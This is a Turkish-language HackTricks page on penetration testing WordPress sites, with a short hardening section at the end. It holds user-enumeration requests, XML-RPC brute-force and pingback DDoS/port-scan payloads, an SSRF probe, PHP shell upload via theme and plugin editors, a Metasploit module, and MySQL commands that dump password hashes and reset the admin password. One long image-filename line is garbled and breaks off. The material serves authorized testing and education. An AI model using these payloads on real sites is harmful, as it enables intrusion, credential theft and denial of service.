hacktricks/network-services-pentesting/pentesting-web/wordpress.md

20 KiB
Raw Blame History

Wordpress

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Temel Bilgiler

Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu yüzden temanın bazı php'lerini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanırsınız. Örneğin: twentytwelve temasını kullanarak 404.php dosyasına erişebilirsiniz: /wp-content/themes/twentytwelve/404.php
Başka faydalı bir URL şu olabilir: /wp-content/themes/default/404.php

wp-config.php içinde veritabanının kök şifresini bulabilirsiniz.

Kontrol edilmesi gereken varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Ana WordPress Dosyaları

  • index.php
  • license.txt WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir.
  • wp-activate.php yeni bir WordPress sitesi kurulurken e-posta aktivasyon işlemi için kullanılır.
  • Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php, HTTP'nin taşıma mekanizması olarak hareket eden ve kodlama mekanizması olarak XML'i kullanan WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür iletişim, WordPress REST API tarafından değiştirilmiştir.
  • wp-content klasörü, eklentilerin ve temaların depolandığı ana dizindir.
  • wp-content/uploads/ Platforma yüklenen dosyaların depolandığı dizindir.
  • wp-includes/ Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir.
  • wp-sitemap.xml Wordpress sürümleri 5.5 ve üstünde, Worpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.

Saldırı sonrası

  • wp-config.php dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası, sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.

Kullanıcı İzinleri

  • Yönetici
  • Editör: Kendi ve diğerlerinin gönderilerini yayımlar ve yönetir
  • Yazar: Kendi gönderilerini yayımlar ve yönetir
  • Katılımcı: Gönderilerini yazabilir ve yönetebilir ancak yayımlayamaz
  • Abone: Gönderileri göz atabilir ve profilini düzenleyebilir

Pasif Numaralandırma

WordPress sürümünü alın

/license.txt veya /readme.html dosyalarını bulup bulamadığınızı kontrol edin

Sayfanın kaynak kodu içinde (örnek: https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS bağlantı dosyaları

  • JavaScript dosyaları

Eklentileri Al

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Al

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Genel olarak sürümleri çıkartın

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını otomatikleştirin.
Bugün Erişim Edinin:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aktif numaralandırma

Eklentiler ve Temalar

Tüm Eklentileri ve Temaları bulamayabilirsiniz. Hepsini keşfetmek için bir Eklentiler ve Temalar listesini aktif olarak Brute Force etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar var).

Kullanıcılar

Kimlik Numarası Brute

WordPress sitesinden geçerli kullanıcıları Kimlik Numaralarını Brute Force ederek elde edebilirsiniz:

curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu, id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, o zaman id geçersizdir.

wp-json

Ayrıca kullanıcılar hakkında bilgi almak için sorgulama yapabilirsiniz:

curl http://blog.example.com/wp-json/wp/v2/users

Başka bir /wp-json/ uç noktası, kullanıcılar hakkında bazı bilgileri ortaya çıkarabilir:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. Bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır.

Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.

Kullanıcı adı girişi numaralandırması

/wp-login.php'ye giriş yaparken mesaj, belirtilen kullanıcı adının var olup olmadığına bağlı olarak farklıdır.

XML-RPC

xml-rpc.php etkinse kimlik bilgileri kaba kuvvet saldırısı gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirebilirsiniz buna örnek olarak şunu kullanabilirsiniz).

Etkin olup olmadığını görmek için /xmlrpc.php'ye erişmeyi deneyin ve bu isteği gönderin:

Kontrol

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Kimlik Bilgileri Kaba Kuvvet

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs gibi yöntemler kimlik bilgilerini kaba kuvvetle denemek için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
200 kodlu yanıt içinde _"Kullanıcı adı veya şifre yanlış"_ mesajı görünmelidir eğer kimlik bilgileri geçerli değilse.

![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ayrıca, system.multicall kullanarak aynı istekte birkaç kimlik bilgisini deneyerek kimlik bilgilerini zorlamak için daha hızlı bir yol vardır:

2FA'yı Atlatma

Bu yöntem programlar içindir ve insanlar için değil, eski olduğu için 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz. Tüm konsol üzerinden yapabileceğiniz tüm işlemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s adresinde açıkladığı gibi hala RCE'ye ulaşabilirsiniz.

DDoS veya port taraması

Liste içinde pingback.ping yöntemini bulabilirseniz, Wordpress'i herhangi bir ana makine/porta keyfi bir istek göndermeye zorlayabilirsiniz.
Bu, binlerce Wordpress sitesine bir konuma erişmelerini istemek için kullanılabilir (bu konumda bir DDoS oluşturulur) veya bunu kullanarak Wordpress'i bazı iç ağları taramaya zorlayabilirsiniz (herhangi bir portu belirtebilirsiniz).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer bir değeri 0'dan büyük olan faultCode alırsanız (17), bu portun açık olduğu anlamına gelir.

Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde system.multicall kullanımına bakın.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Bu dosya genellikle Wordpress sitesinin kökünde bulunur: /wp-cron.php
Bu dosyaya erişildiğinde a "yoğun" MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından DoS saldırısı yapmak için kullanılabilir.
Ayrıca, varsayılan olarak, wp-cron.php her sayfa yüklendiğinde çağrılır (herhangi bir Wordpress sayfasını isteyen bir istemci her zaman), yüksek trafikli sitelerde sorunlara neden olabilir (DoS).

Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan).

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.

Bu, çalışmadığında gelen yanıttır:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Bu araç, methodName: pingback.ping'i kontrol eder ve /wp-json/oembed/1.0/proxy yolunu kontrol eder ve varsa bunları sömürmeye çalışır.

Otomatik Araçlar

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Biraz üzerine yazarak erişim alın

Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu nedenle /var/www/html/wp-includes/user.php dosyasının 5389 konumunu çevirerek NOT (!) işlemini NOP yapabilirsiniz.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadan bir php dosyasını değiştirme (yönetici kimlik bilgileri gereklidir)

Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)

İçeriği bir php kabuğu için değiştirin:

Bu güncellenmiş sayfaya nasıl erişebileceğinizi internetten arayın. Bu durumda buraya erişmeniz gerekecek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Kullanabilirsiniz:

use exploit/unix/webapp/wp_admin_shell_upload

Eklenti RCE

PHP eklentisi

Muhtemelen bir eklenti olarak .php dosyaları yüklemek mümkün olabilir.
Örneğin şu şekilde php arka kapınızı oluşturun:

Ardından yeni bir eklenti ekleyin:

Eklentiyi yükleyin ve Şimdi Yükle'ye basın:

Procced'e tıklayın:

Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz yüklenen kabuğunuzu göreceksiniz:

Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz:

Zararlı eklenti yükleme ve etkinleştirme

Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin yüklenmesini ve bir web kabuğu elde etmek için sömürülmesini içerir. Bu işlem WordPress panosu aracılığıyla şu şekilde gerçekleştirilir:

  1. Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin buradan.
  2. Eklenti Yükleme:
  • WordPress panosuna gidin, ardından Pano > Eklentiler > Eklenti Yükle'ye gidin.
  • İndirilen eklentinin zip dosyasını yükleyin.
  1. Eklenti Etkinleştirme: Eklenti başarılı bir şekilde yüklendikten sonra, panelden etkinleştirilmelidir.
  2. Sömürü:
  • "reflex-gallery" eklentisi yüklü ve etkin olduğunda, zayıf olduğu bilindiği için sömürülebilir.
  • Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
  • Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir.

İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.

Daha detaylı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/**

Saldırı Sonrası

Kullanıcı adlarını ve şifreleri çıkarın:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Admin şifresini değiştirin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Koruma

Düzenli Güncellemeler

WordPress'in, eklentilerin ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php dosyasında etkin olduğunu doğrulayın:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, yalnızca güvenilir WordPress eklentileri ve temaları yükleyin.

Güvenlik Eklentileri

Diğer Tavsiyeler

  • Varsayılan admin kullanıcısını kaldırın
  • Güçlü şifreler ve 2FA kullanın
  • Kullanıcıların izinlerini periyodik olarak gözden geçirin
  • Brute Force saldırılarını önlemek için giriş denemesini sınırlayın
  • wp-admin.php dosyasını yeniden adlandırın ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin.


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: